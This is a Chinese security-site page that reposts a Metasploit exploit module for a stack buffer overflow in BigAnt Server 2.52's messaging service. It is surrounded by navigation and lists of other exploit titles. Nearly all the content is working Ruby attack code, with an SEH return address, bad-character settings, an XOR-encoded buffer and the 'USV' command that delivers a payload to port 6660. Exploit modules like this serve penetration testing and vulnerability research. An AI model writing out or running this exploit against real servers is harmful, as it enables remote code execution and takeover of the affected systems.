首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BigAnt Server 2.52 USV Buffer Overflow(meta)
来源:http://www.metasploit.com 作者:jduck 发布时间:2010-01-06  
##
# $Id: bigant_server_usv.rb 8071 2010-01-05 11:49:12Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BigAnt Server 2.52 USV Buffer Overflow',
			'Description'    => %q{
				This exploits a stack overflow in the BigAnt Messaging Service,
				part of the BigAnt Server product suite. This module was tested
				successfully against version 2.52.

				NOTE: The AntServer service does not restart, you only get one shot.
			},
			'Author' 	 =>
				[
					'Lincoln',
					'DouBle_Zer0',
					'jduck'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8071 
, 'References' => [ [ 'OSVDB', '61386' ], [ 'URL', 'http://www.exploit-db.com/exploits/10765' ], [ 'URL', 'http://www.exploit-db.com/exploits/10973' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => (218+709+35), 'BadChars' => "\x2a\x20\x27\x0a\x0f", # pre-xor with 0x2a: #'BadChars' => "\x00\x0a\x0d\x20\x25", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3 ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 29 2009')) register_options([Opt::RPORT(6660)], self.class) end def exploit connect sploit = "" sploit << payload.encoded sploit << generate_seh_record(target.ret) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string sploit << rand_text_alphanumeric(3) sploit << [0xdeadbeef].pack('V') * 3 # the buffer gets xor'd with 0x2a ! 0.upto(sploit.length-1) do |idx| sploit[idx] = sploit[idx] ^ 0x2a end print_status("Trying target #{target.name}...") sock.put("USV " + sploit + "\r\n\r\n") handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell Netware CIFS And AFP Re
·Microsoft SQL Server sp_replwr
·Joomla Jembed component remote
·VMware Server Console ActiveX
·PlayMeNow v7.3 and 7.4 Buffer
·Alabama Shop ( productdetail )
·GOM Audio Local crash poc
·Joomla component com_oziogalle
·flashget 3.x IEHelper remote e
·Elite Gaming Ladders v3.0 SQL
· Novell eDirectory 8.8 SP5 (Po
·Smart Vsion Script News (newsd
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved